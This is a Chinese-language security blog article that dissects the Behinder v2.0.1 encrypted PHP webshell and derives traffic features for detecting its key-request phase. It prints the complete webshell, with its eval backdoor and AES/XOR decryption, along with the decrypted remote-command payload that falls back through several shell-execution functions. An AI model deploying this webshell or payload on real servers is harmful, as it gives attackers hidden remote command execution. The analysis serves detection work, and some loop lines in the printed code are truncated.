冰蝎php木马修改,冰蝎动态二进制加密WebShell的检测

中国菜刀等工具管理WebShell的时候会有一些固定的特征,容易被waf或者IPS检测到,最近1年出来了个动态加密的WebShell管理工具,给检测带来了一定的困难,所以写个文章简单解剖一下

注:本文只针对当前的最新版冰蝎(Behinder) v2.0.1,以php webshell为例,其他webshell只是有细微的差别,有兴趣可以自行研究

实验环境客户端: windows 7 + 冰蝎(Behinder) v2.0.1

服务端:ubuntu 16.04 + apache + php

webshell文件分析

以php为例

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

@error_reporting(0);

session_start();

if (isset($_GET['pass']))

{

$key=substr(md5(uniqid(rand())),16);

$_SESSION['k']=$key;

print $key;

}

else

{

$key=$_SESSION['k'];

$post=file_get_contents("php://input");

if(!extension_loaded('openssl'))

{

$t="base64_"."decode";

$post=$t($post."");

for($i=0;$i

$post[$i] = $post[$i]^$key[$i+1&15];

}

}

else

{

$post=openssl_decrypt($post, "AES128", $key);

}

$arr=explode('|',$post);

$func=$arr[0];

$params=$arr[1];

class C{public function __construct($p) {eval($p."");}}

@new C($params);

}

?>

其实就两个功能

1、首先存在pass参数的情况(其实这个就是通常所说的一句话木马),就是通过截取随机数的md5的高16位作为密钥,保存在服务器的全局 $_SESSION变量中,同时打印出来,这样客户端接收到就可以用这个密钥进行通信了

2、假如不带参数,就是加密通信的过程。假如php不存在openssl这个extension,就是用base64解码后,使用key进行循环异或解密。而存在openssl就使用AES128进行解密

基于上面分析可以得到通信流程

20dee3389e557236588c13d2c14b5409.png

下面我们看看实际通信流量

数据包分析

通过在服务器上传webshell,客户端连接后通过wireshark抓取数据包

ac520b521d3f87d5fadd47b4e4df9765.png

可以看到请求了两次密钥才开始真正的POST通信

接下来的通信,就是AES128加密后的base64密文

250040582fc732618f653860d56ad35a.png

所以我们检测只能从请求密钥阶段入手了

通过获取密钥的数据包,我们发现以下特征

1、使用GET方法

2、参数名即木马的密码(这个可以修改,不能作为特征),但是参数值为纯数字可以作为特征,暂时来看应该1到5位数字可以匹配到了,保险一点可以1-8都可以

3、请求中有HEADER字段:Content-type: application/x-www-form-urlencoded

4、响应中会有Content-Length: 16

5、当然响应的body肯定也是16长度,而且字符是16进制的字符,即[0-9a-f]

通信过程实际发送的payload

通过在webshell中加入如下代码,即可获得解密后的payload

44465e1a92c9fac77e648e484b0bb1fd.png

获得的如下:(由于base64_decode后面的比较长所以省略了)

1assert|eval(base64_decode('QGVycm9yX3JlcG9ydGluZygwKTsNCg0KZnVuY..............................'));

所以它就是将字符串base64解密之后通过eval执行

解码上面的base64串得到下面真正的代码(下面是以命令执行为例的代码)

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105@error_reporting(0);

function getSafeStr($str){

$s1 = iconv('utf-8','gbk//IGNORE',$str);

$s0 = iconv('gbk','utf-8//IGNORE',$s1);

if($s0 == $str){

return $s0;

}else{

return iconv('gbk','utf-8//IGNORE',$str);

}

}

function main($cmd)

{

@set_time_limit(0);

@ignore_user_abort(1);

@ini_set('max_execution_time', 0);

$result = array();

$PadtJn = @ini_get('disable_functions');

if (! empty($PadtJn)) {

$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);

$PadtJn = explode(',', $PadtJn);

$PadtJn = array_map('trim', $PadtJn);

} else {

$PadtJn = array();

}

$c = $cmd;

if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {

$c = $c . " 2>&1\n";

}

$JueQDBH = 'is_callable';

$Bvce = 'in_array';

if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {

ob_start();

system($c);

$kWJW = ob_get_contents();

ob_end_clean();

} else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {

$handle = proc_open($c, array(

array(

'pipe',

'r'

),

array(

'pipe',

'w'

),

array(

'pipe',

'w'

)

), $pipes);

$kWJW = NULL;

while (! feof($pipes[1])) {

$kWJW .= fread($pipes[1], 1024);

}

@proc_close($handle);

} else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {

ob_start();

passthru($c);

$kWJW = ob_get_contents();

ob_end_clean();

} else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {

$kWJW = shell_exec($c);

} else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {

$kWJW = array();

exec($c, $kWJW);

$kWJW = join(chr(10), $kWJW) . chr(10);

} else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {

$fp = popen($c, 'r');

$kWJW = NULL;

if (is_resource($fp)) {

while (! feof($fp)) {

$kWJW .= fread($fp, 1024);

}

}

@pclose($fp);

} else {

$kWJW = 0;

$result["status"] = base64_encode("fail");

$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");

$key = $_SESSION['k'];

echo encrypt(json_encode($result), $key);

return;

}

$result["status"] = base64_encode("success");

$result["msg"] = base64_encode(getSafeStr($kWJW));

echo encrypt(json_encode($result), $_SESSION['k']);

}

function encrypt($data,$key)

{

if(!extension_loaded('openssl'))

{

for($i=0;$i

$data[$i] = $data[$i]^$key[$i+1&15];

}

return $data;

}

else

{

return openssl_encrypt($data, "AES128", $key);

}

}$cmd="whoami";

main($cmd);

可以看到考虑了编码问题,还有一些执行命令的函数被禁用的问题

最后输出结构也是AES128加密的

工具每次只需倒数第二行的$cmd即可更换要执行的命令

总结

攻防是不断对抗升级的,冰蝎虽然通信过程加密,但是请求密钥阶段有很多特征,假如将请求密钥阶段特征抹掉,那么我们防御端会更加难以检查。


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部